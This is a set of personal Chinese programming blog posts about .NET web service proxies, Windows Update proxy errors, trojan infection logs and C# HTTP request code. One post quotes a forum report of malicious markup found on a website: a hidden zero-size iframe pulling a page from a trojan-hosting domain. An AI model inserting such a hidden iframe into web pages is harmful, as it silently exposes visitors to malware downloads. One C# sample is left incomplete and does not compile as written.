分类目录
文章索引模板
20070711 WEB SERVICE 代理类 proxy wsdl error CS0234 - 十二月 12, 2007 by yippee

20070711 WEB SERVICE 代理类 proxy wsdl error CS0234
http://www.yippeesoft.com

Web Service体系结构包含了三个角色:服务提供者(Service provider)、服务代理者(Service broker)和服务请求者(Service request)。服务提供者提供可通过网络访问的软件模块(Web 服务的一个商业处理功能),并通过 WSDL描述服务中所含的功能、要使用此功能所需输入的数据,以及预期的输出结果。服务提供者把它发布到服务代理者。服务代理者的核心是UDDI数据库,它允许服务提供者公告服务内容并使服务请求者能找到这些服务。服务请求者使用查找操作来从本地或服务代理者处检索服务描述,然后使用服务描述与服务提供者进行绑定并调用Web Service 功能。

 Web服务代理是支持.net的编程语言文件,由.net框架提供的WSDL工具自动生成。代理类不包含任何应用程序逻辑。相反,他包含关于如何传递参数和检索结果的传输逻辑,还包含Web服务中的方法及原型列表。代理类可以从任何WSDL文件创建。
       可以像访问com对象一样访问Web服务。要访问Web服务,需要从本地计算机上的Web服务的WSDL文档创建代理类。.net提供了名为WSDL.exe的工具以自动生成代理类文件。下面详细说明其创建和使用过程:

一个WEB SERVICE,原来使用呢自己做的工具生成DLL文件,好像使用呢System.CodeDom 命名空间包含可以用于表示源代码文档的元素和结构的类。此命名空间中的类可用来建立源代码文档结构的模型,使用 System.CodeDom.Compiler 命名空间提供的功能可以将源代码文档输出为所支持语言的源代码。

根据网上的说法
call "O:\\ms\\VS7\\Common7\\Tools\\vsvars32.bat"
wsdl http://localhostsf.WebService/Ordersf.asmx /n:sf.method
csc /out:Bridge_sf.dll /t:library /r:System.Web.Services.dll sf.cs

生成呢CS文件,也看到了,可就是编译不能通过,报告
 error CS0246: 找不到类型或命名空间名称“add”(是否缺少 using 指令或程序集引用?)

 郁闷,使用对象浏览器也看不到几个方法

对方给你的url只要能返回一份wsdl文档就可以了,asmx那些后缀只是不同的服务实现而已。
有了这个url,最简单的做法是通过studio.net的添加web引用-输入url,如果url正确的话则studio直接会生成相关的代理类,然后在程序中直接引用就可以了。

资料:
1、  新建一个asp应用程序(#C)工程,工程名为TeachShow,在TeachShow工程中创建一个文件夹Charpter8,在该文件夹下创建一个新的Web服务,取名为:Computer.asmx

2、  切换到代码视图,编写下面的代码:
[WebMethod(Description="用于相加运算", EnableSession=false)]
        public int Add(int a,int b)
        &leftsign;
            return a+b;
        &rightsign;

3、按F5编译整个工程(这一步一定要做,如果不做第4步无法实现)
4、打开MS.net 2003的命令提示工具,输入:C:\\>wsdl http://localhost/TeachShow/Charpter8/FirstAndUse/Computer.asmx  /n:ComputerNameSpace,其中,ComputerNameSpace是自定义的命名空间。提示如下:
Microsoft (R) Web 服务描述语言实用工具
[Microsoft (R) .NET Framework,版本 1.1.4322.573]
Copyright (C) Microsoft Corporation 1998-2002. All rights reserved.
正在写入文件“C:\\Computer.cs”。
5、注意,此时在C:盘(其实就是命令提示符的当前目录)下生成一个和Computer.asmx相同文件名的C#源文件Computer.cs。
6、编译Computer.cs文件,在命令提示符下输入如下命令:C:\\>csc /out:ComputerDll.dll /t:library /r:System.Web.Services.dll c:\\Computer.cs。其中,/out:ComputerDll.dll是要输出的dll文件,/t:library是输出文件类型,/r:System.Web.Services.dll是要引用的组件,c:\\Computer.cs是第4步生成的C#文件。
7、此时,将会在C:盘下生成一个叫ComputerDll.dll的文件,要使用这个文件,必须复制到TeachShow文件夹下的bin目录下。默认情况下为:C:\\Inetpub\\wwwroot\\TeachShow\\bin。
8、新建一个名为TestWSDL.aspx的WEB窗体文件,并添加一个引用,将刚才生成的ComputerDll.dll文件作为引用添加到工程中。
9、在TestWSDL.aspx窗体的Load事件中编写代码:
                     ComputerNameSpace.Computer com=new ComputerNameSpace.Computer();
            this.Response.Write("和:"+com.Add(45,65).ToString()+"");

动态调用Web Service
//其实就是先获得Web Service的WSDL,然后生产代理类,把代理类加入到CodeDOM中建立源码,然后执行创建CSharp(或其他)编译器编译执行。
/// <summary>
  /// 根据指定的信息,调用远程WebService方法
  /// </summary>
  /// <param name=url>WebService的http形式的地址</param>
  /// <param name=namespace>欲调用的WebService的命名空间</param>
  /// <param name=classname>欲调用的WebService的类名(不包括命名空间前缀)</param>
  /// <param name=methodname>欲调用的WebService的方法名</param>
  /// <param name=args>参数列表</param>
  /// <returns>WebService的执行结果</returns>
  /// <remarks>
  /// 如果调用失败,将会抛出Exception。请调用的时候,适当截获异常。
  /// 异常信息可能会发生在两个地方:
  /// 1、动态构造WebService的时候,CompileAssembly失败。
  /// 2、WebService本身执行失败。
  /// </remarks>
  /// <example>
  /// <code>
  /// object obj = InvokeWebservice(http://localhost/GSP_WorkflowWebservice/common.asmx,Genersoft.Platform.Service.Workflow,Common,GetToolType,new object[]&leftsign;1&rightsign;);
  /// </code>
  /// </example>
  public static object InvokeWebservice(string url, string @namespace, string classname, string methodname, object[] args)
  &leftsign;       
   try
   &leftsign;
    //提供向 URI 标识的资源发送数据和从 URI 标识的资源接收数据的公共方法。不能继承此类。
    System.Net.WebClient wc = new System.Net.WebClient();
    //为从具有指定 URI 的资源下载的数据打开一个可读的流。
    System.IO.Stream stream = wc.OpenRead(url+"?WSDL");
    //提供一种方法,以创建和格式化用于描述 XML Web services 的有效的 Web 服务描述语言 (WSDL) 文档文件。该文件是完整的,具有适当的命名空间、元素和属性。无法继承此类。
    //read已重载。通过直接加载 XML 来初始化 ServiceDescription 类的实例。
    System.Web.Services.Description.ServiceDescription sd = System.Web.Services.Description.ServiceDescription.Read(stream);
    //公开一种为 XML Web services 生成客户端代理类的方法。
    System.Web.Services.Description.ServiceDescriptionImporter sdi = new System.Web.Services.Description.ServiceDescriptionImporter();
    //将指定的 ServiceDescription 添加到 ServiceDescriptions 集合。
    sdi.AddServiceDescription(sd, "","");

    //System.CodeDom 命名空间包含可以用于表示源代码文档的元素和结构的类。此命名空间中的类可用来建立源代码文档结构的模型,使用 System.CodeDom.Compiler 命名空间提供的功能可以将源代码文档输出为所支持语言的源代码。
    //表示命名空间声明。
    System.CodeDom.CodeNamespace cn = new System.CodeDom.CodeNamespace(@namespace);
    //为 CodeDOM 程序图形提供容器
    //可以存储包含 CodeDOM 源代码图形的 CodeNamespace 对象的集合、项目引用的程序集的集合,以及项目程序集的属性集合。
    System.CodeDom.CodeCompileUnit ccu = new System.CodeDom.CodeCompileUnit();
    //获取命名空间的集合。
    ccu.Namespaces.Add(cn);

    //从指定的命名空间导入 ServiceDescription,并生成客户端代理类的代码。
    sdi.Import(cn,ccu);

    //提供对 C# 代码生成器和代码编译器的实例的访问
    Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider();
    //获取 C# 代码编译器的实例
    System.CodeDom.Compiler.ICodeCompiler icc = csc.CreateCompiler();

    //
    System.CodeDom.Compiler.CompilerParameters cplist = new System.CodeDom.Compiler.CompilerParameters();
    //
    cplist.GenerateExecutable = false;
    //
    cplist.GenerateInMemory = true;
    cplist.ReferencedAssemblies.Add("System.dll");
    cplist.ReferencedAssemblies.Add("System.XML.dll");
    cplist.ReferencedAssemblies.Add("System.Web.Services.dll");
    cplist.ReferencedAssemblies.Add("System.Data.dll");
    cplist.
    //
    System.CodeDom.Compiler.CompilerResults cr = icc.CompileAssemblyFromDom(cplist, ccu);
    if(true == cr.Errors.HasErrors)
    &leftsign;
     System.Text.StringBuilder sb = new System.Text.StringBuilder();
     foreach(System.CodeDom.Compiler.CompilerError ce in cr.Errors)
     &leftsign;
      sb.Append(ce.ToString());
      sb.Append(System.Environment.NewLine);
     &rightsign;
     throw new Exception(sb.ToString());
    &rightsign;
    System.Reflection.Assembly assembly = cr.CompiledAssembly;
    Type t = assembly.GetType(@namespace+"."+classname,true,true);
    //
    object obj = Activator.CreateInstance(t);
    System.Reflection.MethodInfo mi = t.GetMethod(methodname);
    return mi.Invoke(obj,args);
   &rightsign;
   catch(Exception ex)
   &leftsign;
    throw new Exception(ex.InnerException.Message,new Exception(ex.InnerException.StackTrace));
   &rightsign;
  &rightsign;

标签:, , , , ,

20070406 WINXP UPDATE PROXY PWS-LegMir 2 - 九月 8, 2007 by yippee

20070406 WINXP UPDATE PROXY PWS-LegMir 2
http://www.yippeesoft.com

发现 CS.EXE 是从 SUN.CN3721.ORG 下载的
找到的信息:
[quote]
191315546 2006-12-01 00:47
刚才打开www.feelingme.cn的时候(后面没有加bbs),
发现状态栏出现http://web.cn3721.org/web.htm这个网址,
我马上查看源代码,
发现了一段可能是恶意代码:

QUOTE:

<iframe src="http://web.cn3721.org/web.htm" height=0 width=0></iframe>
<script language="javascript">
<!–
var expires = new Date();
expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000);
document.cookie="GAG5=12345fuck;expires="+expires.toGMTString();
–>
</script>

然后就来这里发表主题了,
可能有人问我为什么对这个地址这么敏感,
因为这几天我的卡巴斯基总是提示电脑从cn3721.org这个网站上下载木马,
我也在提问区发了求助,
平时就上几个网站,
就是不知道什么原因会中木马,
我也不希望是论坛的原因造成的,
所以请管理员马上检查一下.

已经处理.木马已经清除了,大家可以放心访问了.----starlit
[/quote]

不知道什么网页被挂木马了吧 晕倒~

代理服务器配置方法 5:
如果下列条件为真, WindowsUpdate 客户试图直接连接到 WindowsUpdateWeb 站点:• 通过使用 Proxycfg.exe 工具没有代理服务器配置。
• 在 InternetExplorer 中手动定义无代理服务器。
要通过使用 Proxycfg.exe 工具删除代理服务器
要使用 Proxycfg.exe 工具要删除代理服务器并将配置到 Internet, " 直接访问 " 请按照下列步骤:1. 单击 开始 单击 运行 , 键入 cmd , 然后单击 确定 。
2. 在命令提示符, 键入 proxycfg – D , 然后按 Enter。
注意 如果下列条件之一为真, 代理服务器没有出现在 proxycfg.exe 命令的结果:• InternetExplorer 中手动配置代理服务器。
• 通过使用配置脚本代理服务器配置。 

D:\\Documents and Settings\\shengfang>Proxycfg.exe
Microsoft (R) WinHTTP Default Proxy Configuration Tool
版权所有 (C) Microsoft Corporation. 保留所有权利。

当前 WinHTTP 代理设置在:
  HKEY_LOCAL_MACHINE\\
    SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\
      WinHttpSettings :

    代理服务器 :  192.168.1.1:80
    旁路列表   :  192.168.*.*;<local>

D:\\Documents and Settings\\shengfang>Proxycfg.exe -d
Microsoft (R) WinHTTP Default Proxy Configuration Tool
版权所有 (C) Microsoft Corporation. 保留所有权利。

更新的代理设置
当前 WinHTTP 代理设置在:
  HKEY_LOCAL_MACHINE\\
    SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\
      WinHttpSettings :

     直接访问(无代理服务器)。

结果WINDOWS UPDATE 仍然
2007-01-25 09:47:39  760 3cc Report Uploading 2 events using cached cookie, reporting URL = http://stats.update.microsoft.com/ReportingWebService/ReportingWebService.asmx
2007-01-25 09:47:39  760 3cc Misc WARNING: Send failed with hr = 80072efd.
2007-01-25 09:47:39  760 3cc Misc WARNING: SendRequest failed with hr = 80072efd. Proxy List used: <(null)> Bypass List used : <(null)> Auth Schemes used : <>
2007-01-25 09:47:39  760 3cc Report WARNING: Failed to upload events to the server with hr = 80072efd.
2007-01-25 09:47:39  760 3cc PT   + Last proxy send request failed with hr = 0×80072EFD, HTTP status code = 0
2007-01-25 09:47:39  760 3cc PT   + Caller provided credentials = No
2007-01-25 09:47:39  760 3cc PT   + Impersonate flags = 0
2007-01-25 09:47:39  760 3cc PT   + Possible authorization schemes used =
2007-01-25 09:47:39  760 3cc PT WARNING: ReportEventBatch failure, error = 0×80072EFD, soap client error = 5, soap error code = 0, HTTP status code = 200
2007-01-25 09:47:39  760 3cc Report WARNING: Reporter failed to upload events with hr = 80072efd.
2007-01-25 09:47:43  760 3cc Report REPORT EVENT: &leftsign;6324649B-207A-4128-88D1-E0B537425C60&rightsign; 2007-01-25 09:47:38+0800 1 148 101 &leftsign;00000000-0000-0000-0000-000000000000&rightsign; 0 80072efd MicrosoftUpdate Failure Software Synchronization Error: Agent failed detecting with reason: 0×80072efd

晕倒~~~~~~~~~~~~~~~

标签:, , , ,
20070405 WINXP UPDATE PROXY PWS-LegMir - 九月 7, 2007 by yippee

20070405 WINXP UPDATE PROXY PWS-LegMir
http://www.yippeesoft.com

昨天发现中木马,MCAFEE报告
2007-1-24 15:38:44 1027 SF\\shengfang D:\\Program Files\\Internet Explorer\\iexplore.exe D:\\Documents and Settings\\shengfang\\Cookies\\shengfang@atdmt[2].txt\\00000000.ie Cookie-Atdmt ()
2007-1-24 15:40:01 1027 SF\\shengfang N:\\Green\\internet\\GreenBrowserGB\\GreenBrowser.exe M:\\TEMP\\TEMPORARY INTERNET FILES\\CONTENT.IE5\\9XBQRJ6L\\CS[1].EXE PWS-Legmir.dll ()
2007-1-24 15:40:02 1027 SF\\shengfang N:\\Green\\internet\\GreenBrowserGB\\GreenBrowser.exe M:\\TEMP\\Temporary Internet Files\\Content.IE5\\9XBQRJ6L\\cs[1].exe\\cs[1].exe\\0000f660.EXE PWS-Legmir.dll ()
2007-1-24 15:40:02 1027 SF\\shengfang N:\\Green\\internet\\GreenBrowserGB\\GreenBrowser.exe M:\\TEMP\\CS.EXE PWS-Legmir.dll ()
2007-1-24 15:40:02 1027 SF\\shengfang N:\\Green\\internet\\GreenBrowserGB\\GreenBrowser.exe M:\\TEMP\\cs.exe\\cs.exe\\0000f660.EXE PWS-Legmir.dll ()
2007-1-24 15:40:03 1027 SF\\shengfang M:\\TEMP\\csj.exe D:\\WINDOWS\\SYSTEM32\\DRIVERS\\NPF.SYS PWS-WoW.sys ()
2007-1-24 15:40:03 1027 SF\\shengfang M:\\TEMP\\csj.exe D:\\WINDOWS\\system32\\drivers\\npf.sys PWS-WoW.sys ()
2007-1-24 15:40:03 1278 SF\\shengfang M:\\TEMP\\csj.exe D:\\WINDOWS\\system32\\win32smd.exe New Malware.j ()
2007-1-24 15:40:07 1027 SF\\shengfang M:\\TEMP\\av.exe D:\\PROGRAM FILES\\KAV\\KAV.DLL PWS-WoW ()
2007-1-24 15:40:07 1027 SF\\shengfang M:\\TEMP\\av.exe D:\\Program Files\\Kav\\Kav.dll PWS-WoW ()
2007-1-24 15:40:07 1027 SF\\shengfang M:\\TEMP\\csj.exe D:\\WINDOWS\\SYSTEM32\\KB494006.LOG PWS-WoW.dll ()
2007-1-24 15:40:07 1027 SF\\shengfang M:\\TEMP\\csj.exe D:\\WINDOWS\\system32\\KB494006.LOG PWS-WoW.dll ()

还是手工删除一个注册表项目

想UPDATE一下WINXP,结果,因为以前的走PROXY,现在直接,结果WINXP的UPDATE居然还是认为有PROXY,晕倒

2007-01-25 09:13:24  760 3cc Misc WARNING: SendRequest failed with hr = 80072efd. Proxy List used: <192.168.1.1:80> Bypass List used : <192.168.*.*;<local>> Auth Schemes used : <>
2007-01-25 09:13:24  760 3cc Report WARNING: Failed to upload events to the server with hr = 80072efd.
2007-01-25 09:13:24  760 3cc PT   + Last proxy send request failed with hr = 0×80072EFD, HTTP status code = 0
2007-01-25 09:13:24  760 3cc PT   + Caller provided proxy = No
2007-01-25 09:13:24  760 3cc PT   + Proxy list used = 192.168.1.1:80
2007-01-25 09:13:24  760 3cc PT   + Bypass list used = 192.168.*.*;<local>
2007-01-25 09:13:24  760 3cc PT   + Caller provided credentials = No
2007-01-25 09:13:24  760 3cc PT   + Impersonate flags = 0
2007-01-25 09:13:24  760 3cc PT   + Possible authorization schemes used =
2007-01-25 09:13:24  760 3cc PT WARNING: ReportEventBatch failure, error = 0×80072EFD, soap client error = 5, soap error code = 0, HTTP status code = 200
2007-01-25 09:13:24  760 3cc Report WARNING: Reporter failed to upload events with hr = 80072efd.
2007-01-25 09:13:37  308 314 Misc ===========  Logging initialized (build: 5.8.0.2469, tz: +0800)  ===========
2007-01-25 09:13:37  308 314 Misc   = Process: D:\\Program Files\\Internet Explorer\\iexplore.exe
2007-01-25 09:13:37  308 314 Misc   = Module: D:\\WINDOWS\\system32\\wuapi.dll
2007-01-25 09:13:37  308 314 COMAPI ———–  COMAPI: IUpdateServiceManager::AddService  ———–
2007-01-25 09:13:37  308 314 COMAPI   – ServiceId = &leftsign;7971f918-a847-4430-9279-4a52d1efe18d&rightsign;
2007-01-25 09:13:37  308 314 COMAPI   – AuthorizationCabPath = D:\\WINDOWS\\SoftwareDistribution\\AuthCabs\\muauth.cab
2007-01-25 09:13:38 3880 f2c Misc ===========  Logging initialized (build: 5.8.0.2469, tz: +0800)  ===========
2007-01-25 09:13:38 3880 f2c Misc   = Process: D:\\WINDOWS\\system32\\wuauclt.exe
2007-01-25 09:13:38 3880 f2c Misc   = Module: D:\\WINDOWS\\system32\\wuaueng.dll
2007-01-25 09:13:38 3880 f2c DtaStor Update service properties: service registered with AU is &leftsign;7971F918-A847-4430-9279-4A52D1EFE18D&rightsign;
2007-01-25 09:13:38  308 314 COMAPI   – Added service, URL = http://update.microsoft.com/microsoftupdate/
2007-01-25 09:13:38  308 314 COMAPI ———–  COMAPI: IUpdateServiceManager::RegisterServiceWithAU  ———–
2007-01-25 09:13:38  308 314 COMAPI   – ServiceId = &leftsign;7971f918-a847-4430-9279-4a52d1efe18d&rightsign;
2007-01-25 09:13:43  308 314 Misc ===========  Logging initialized (build: 5.8.0.2469, tz: +0800)  ===========
2007-01-25 09:13:43  308 314 Misc   = Process: D:\\Program Files\\Internet Explorer\\iexplore.exe
2007-01-25 09:13:43  308 314 Misc   = Module: D:\\WINDOWS\\system32\\muweb.dll
2007-01-25 09:13:43  308 314 Setup ***********  Setup: Checking whether self-update is required  ***********
2007-01-25 09:13:43  308 314 Setup   * Inf file: D:\\WINDOWS\\SoftwareDistribution\\WebSetup\\wusetup.inf
2007-01-25 09:13:43  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuweb.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:43  308 314 Setup   * IsUpdateRequired = No
2007-01-25 09:13:44  308 314 Misc ===========  Logging initialized (build: 5.8.0.2469, tz: +0800)  ===========
2007-01-25 09:13:44  308 314 Misc   = Process: D:\\Program Files\\Internet Explorer\\iexplore.exe
2007-01-25 09:13:44  308 314 Misc   = Module: D:\\WINDOWS\\system32\\wuweb.dll
2007-01-25 09:13:44  308 314 Setup ***********  Setup: Checking whether self-update is required  ***********
2007-01-25 09:13:44  308 314 Setup   * Inf file: D:\\WINDOWS\\SoftwareDistribution\\WebSetup\\wusetup.inf
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\cdm.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\iuengine.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuapi.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuauclt.exe: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuauclt1.exe: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuaucpl.cpl: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuaueng.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wuaueng1.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wucltui.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wups.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup Update NOT required for D:\\WINDOWS\\system32\\wups2.dll: target version = 5.8.0.2469, required version = 5.8.0.2469
2007-01-25 09:13:44  308 314 Setup   * IsUpdateRequired = No

标签:, , , ,

1224 阅微草堂笔记 SFX Proxy-Agent.b - 一月 7, 2006 by yippee

1224 阅微草堂笔记  SFX Proxy-Agent.b

阅微草堂笔记·卷十五 姑妄听之一

 
  余性耽孤寂,而不能自闲。卷轴笔砚,自束发至今,无数十日相离也。三十以前,讲考证之学,所坐之处,典籍环绕如獭祭;三十以后,以文章与天下相驰骤,抽黄对白,恒彻夜构思;五十以后,领修秘籍,复折而讲考证。今老矣,无复当年之意兴,惟时拈纸墨,追录旧闻,姑以消遣岁月而已。故已成滦阳消夏录等三书,复有此集。缅昔作者,如王仲任、应仲远,引经据古,博辨宏通;陶渊明、刘敬叔、刘义庆,简谈数言,自然妙远。诚不敢妄拟前修。然大旨期不乖于风教,若怀挟恩怨,颠倒是非,如魏泰、陈善之所为,则自信无是矣。适盛子松云欲为剞劂,因率书数行弁于首,以多得诸传闻也。遂采庄子之语名曰姑妄听之。乾隆癸丑七月二十五日,观弈道人自题。

 

吴僧慧贞言,有浙僧立志精进,誓愿坚苦,胁未尝至席。一夜,有艳女窥户,心知魔至,如不见闻。女蛊惑万状,终不能近禅榻,后夜夜必至,亦终不能使起一念。女技穷,遥语曰:师定力如斯,我固宜断绝妄想。虽然,师忉利天中人也,知近我则必败道,故畏我如虎狼。即努力得到非非想天,亦不过柔肌著体,如抱冰雪,媚姿到眼,如见尘矹,不能离乎色相也;如心到四禅天,则花自照镜,镜不知花,月自映水,水不知月,乃离色相矣;再到诸菩萨天,则花亦无花,镜亦无镜,月亦无月,水亦无水,乃无色无相,无离不离,为自在神通不可思议。师如敢容我一近,而真空不染,则摩登伽一意皈依,不复再扰阿难矣。僧自揣道力,足以胜魔,坦然许之,偎倚抚摩,竟毁戒体,懊丧失志,侘傺以终。夫磨而不磷,涅而不缁,惟圣人能之,大贤以下弗能也。此僧中于一激,遂开门揖盗,天下自恃可为,遂为人所不敢为,卒至溃败决裂者,皆此僧也哉。

见花是花;见花不是花;见花不见花;见花不知花;见花无花;无见无花

  *****

  德慎斋扶乩,其仙降坛,不作诗,自署名曰刘仲甫,众不知为谁。有一国手在侧曰:是南宋国手,著有棋诀四篇者也。固请对弈,乩判曰:弈则我必负。固请,乃许,乩果负半子。众曰:大仙谦挹,欲奖成后进之名耶?乩判曰:不然,后人事事不及古,惟推步与奕棋,则皆胜古。或谓因古人所及,更复精思,故已到竿头,又能进步,是为推步言,非为弈棋言也。盖风气日薄,人情日巧,其倾轧攻取之术,两机激薄,变幻万端,砃诡出奇,不留余地。古人不肯为之事,往往肯为;古人不敢冒之险,往往敢冒;古人不忍出之策,往往忍出。故一切世事心计,皆出古人上。弈棋亦心计之一,故宋元国手,至明已差一路,今则差一路半矣。然古之国手,极败不过一路,今之国手,或败至两路三路,是则踏实蹈虚之辨也。问弈竟无常胜法乎?又判曰:无常胜法,而有常不负法,不弈则常不负矣。仆猥以夙慧,得作鬼仙,世外闲身,名心都尽,逢场作戏,胜败何关。若当局者,角争得失,尚慎旃哉。四座有经历世故者,多喟然太息。

申请了一个ASPX免费站点,准备作个自己的个人门户。问题是不知道这个站点能够支持多久,不过其实也无所谓,自己本机作也可以,可是现在发展方向还是没有办法确定下来
JAVA .NET 数据库 LINUX ORACLE DDK WEB php 自己都是迷迷糊糊的

昨日同事机器上装的是NORTON,不知道怎么回事,经常出现打开OUTLOOK变慢,然后打开里面附件文档死机的问题。
并且死机也死的很是怪异,首先是半天没有反应,任务栏上倒是有反应,然后点击右键,就是没有办法打开任务管理器,过了一会,终于可以打开资源管理器的,结果任务栏又死了,又过了一会,任务栏有反应了,可以注销关机了,结果任务区又没有反应了,这个我还是第一次碰到,看着四个任务管理器图标就是没有办法打开,没有办法只好跑到CMD下面去显示杀掉任务。

觉得可疑的就是 一个 SFX.EXE,我平时倒是看得RAR下面有SFX模块,但是他是在C盘根目录下有SFX.EXE,怀疑是病毒,然后EMAIL发送回来,MCAFEE一查,果然是病毒
sfx.exe Proxy-Agent.b (特洛伊)

可是网络上资料非常少,BAIDU没有,GOOGLE上也只有MCAFEE提供的,并且没有详细资料,看了看源文件,里面调用的WINSOCK函数,BIND LISTEN都有~
Trojan Name  Risk Assessment 
Proxy-Agent.b  Corporate User  :  Low 
Home User  :  Low 
 Trojan Information 
Discovery Date:  01/26/2005 
Origin:  Unknown 
Length:  N/A 
Type:  Trojan 
SubType:  Proxy 
Minimum DAT: 4363 (05/26/2004) 
Updated DAT: 4520 (05/26/2004) 
Minimum Engine:  4.3.20 
Description Added:  05/26/2004 
Description Modified:  05/26/2004 11:05 AM (PT) 

不过看上去MCAFEE很厉害的样子 Discovery Date:  01/26/2005  发现,而 4520 (05/26/2004)  的病毒库就可疑搞定

标签:
HttpWebRequest WebResponse PROXY URLENCODE 2 代码 - 十二月 12, 2005 by yippee

HttpWebRequest WebResponse PROXY URLENCODE 2 代码

HttpWebRequest WebResponse PROXY URLENCODE 1
http://www.yippeesoft.com/blog/p/HttpWebReqRespPROXYURLENC1.php

模拟提交:
private void baidu_Click(object sender, System.EventArgs e)
&leftsign;
getPage("http://www.yippeesoft.com/blog/index.php", "job=showsearch&keywords=mysql");
&rightsign;

public static void getPage(String url, String payload)
&leftsign;
 WebResponse result = null; www.yippeesoft.com

 try
 &leftsign; www.yippeesoft.com

  HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
  req.Method = "POST"; www.yippeesoft.com
  req.ContentType = "application/x-www-form-urlencoded";
  req.Accept ="image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*";
  StringBuilder UrlEncoded = new StringBuilder();
  Char[] reserved = &leftsign;\’?\’, \’=\’, \’&\’&rightsign;;
  byte[] SomeBytes = null;

  if (payload != null)
  &leftsign;
   int i=0, j;
   while(i<payload.Length)
   &leftsign;
    j=payload.IndexOfAny(reserved, i);
    if (j==-1) www.yippeesoft.com
    &leftsign;
     UrlEncoded.Append(HttpUtility.UrlEncode(payload.Substring(i, payload.Length-i)));
     break;
    &rightsign;
    UrlEncoded.Append(HttpUtility.UrlEncode(payload.Substring(i, j-i)));
    UrlEncoded.Append(payload.Substring(j,1));
    i = j+1;
   &rightsign;
   Trace.WriteLine(UrlEncoded.ToString());
   SomeBytes = Encoding.Default.GetBytes(UrlEncoded.ToString());
   SomeBytes = Encoding.Default.GetBytes( "stext=%CA%A2%B7%C5&imageField.x=22&imageField.y=7");
   //SomeBytes = Encoding.UTF8.GetBytes("s?wd=%CA%A2%B7%C5&cl=3");
   req.ContentLength = SomeBytes.Length;
   Stream newStream = req.GetRequestStream();
   newStream.Write(SomeBytes, 0, SomeBytes.Length);
   newStream.Close();
  &rightsign;
  else  www.yippeesoft.com
  &leftsign;
   req.ContentLength = 0;
  &rightsign;

www.yippeesoft.com
  result = req.GetResponse();
  Stream ReceiveStream = result.GetResponseStream();
  Encoding encode = System.Text.Encoding.GetEncoding("utf-8");
  StreamReader sr = new StreamReader( ReceiveStream, System.Text.Encoding.Default  );
  Trace.WriteLine("\\r\\n已接收到响应流");
  Char[] read = new Char[256];
  int count = sr.Read( read, 0, 256 );
  Trace.WriteLine("HTML…\\r\\n");
  while (count > 0)
  &leftsign;
   String str = new String(read, 0, count);
   Trace.Write(str);
   count = sr.Read(read, 0, 256);
  &rightsign;
  Trace.WriteLine("");
 &rightsign;
 catch(Exception e)  www.yippeesoft.com
 &leftsign;
  Trace.WriteLine( e.ToString());
  Trace.WriteLine("\\r\\n找不到请求 URI,或者它的格式不正确");
 &rightsign;
 finally
 &leftsign;
  if ( result != null )
  &leftsign;
   result.Close();
  &rightsign;
 &rightsign;
&rightsign; www.yippeesoft.com

标签:, , , , , , , ,
HttpWebRequest WebResponse PROXY URLENCODE 1 - 十二月 11, 2005 by yippee

HttpWebRequest WebResponse PROXY URLENCODE 1

昨天实现了
C# XML HTML SgmlReader sitemap
http://www.yippeesoft.com/blog/p/html2xmlsitemap.php

今天继续完善:
增加PROXY支持: www.yippeesoft.com

换了一台机器,出现如下错误:
A first chance exception of type \’System.Net.WebException\’ occurred in System.dll
System.Net.WebException: The remote server returned an error: (407) Proxy Authentication Required.
   at System.Net.HttpWebRequest.GetResponse()
   at html2xml.Form1.button1_Click(Object sender, EventArgs e) in E:\\sf\\html2xml\\Form1.cs:line 259

The remote server returned an error: (407) Proxy Authentication Required

最后增加 PROXY 设置 认证

NetworkCredential myCred = new NetworkCredential("sf", "sfsfsf", "www.yippeesoft.com");
WebProxy proxyObject = new WebProxy("www.yippeesoft.com", 80);
proxyObject.Credentials = myCred;
// 当主机为本地时,禁用代理,即不使用句点。
proxyObject.BypassProxyOnLocal = true;
WebRequest request = WebRequest.Create(sPageUrl);
request.Proxy =proxyObject;

问题1: www.yippeesoft.com

BAIDU搜索总是失败: www.yippeesoft.com
GET /s?wd=%CA%A2%B7%C5&cl=3 HTTP/1.1

发送的HTTP头信息 www.yippeesoft.com
Content-Type : application/x-www-form-urlencoded
Referer : http://www.baidu.com
Accept-Language : zh-cn
“html2xml.exe”: 已加载“f:\\winxp\\assembly\\gac\\system.resources\\1.0.5000.0_zh-chs_b77a5c561934e089\\system.resources.dll”,未加载符号。
未处理的“System.Net.WebException”类型的异常出现在 system.dll 中。

其他信息: 基础连接已经关闭: 接收时发生意外错误。

System.Net.WebException: 基础连接已经关闭: 接收时发生意外错误。
   at System.Net.HttpWebRequest.CheckFinalStatus()
   at System.Net.HttpWebRequest.GetResponse()
   at html2xml.Form1.getPage(String url, String payload) in p:\\测试代码\\html2xml\\form1.cs:line 335
 
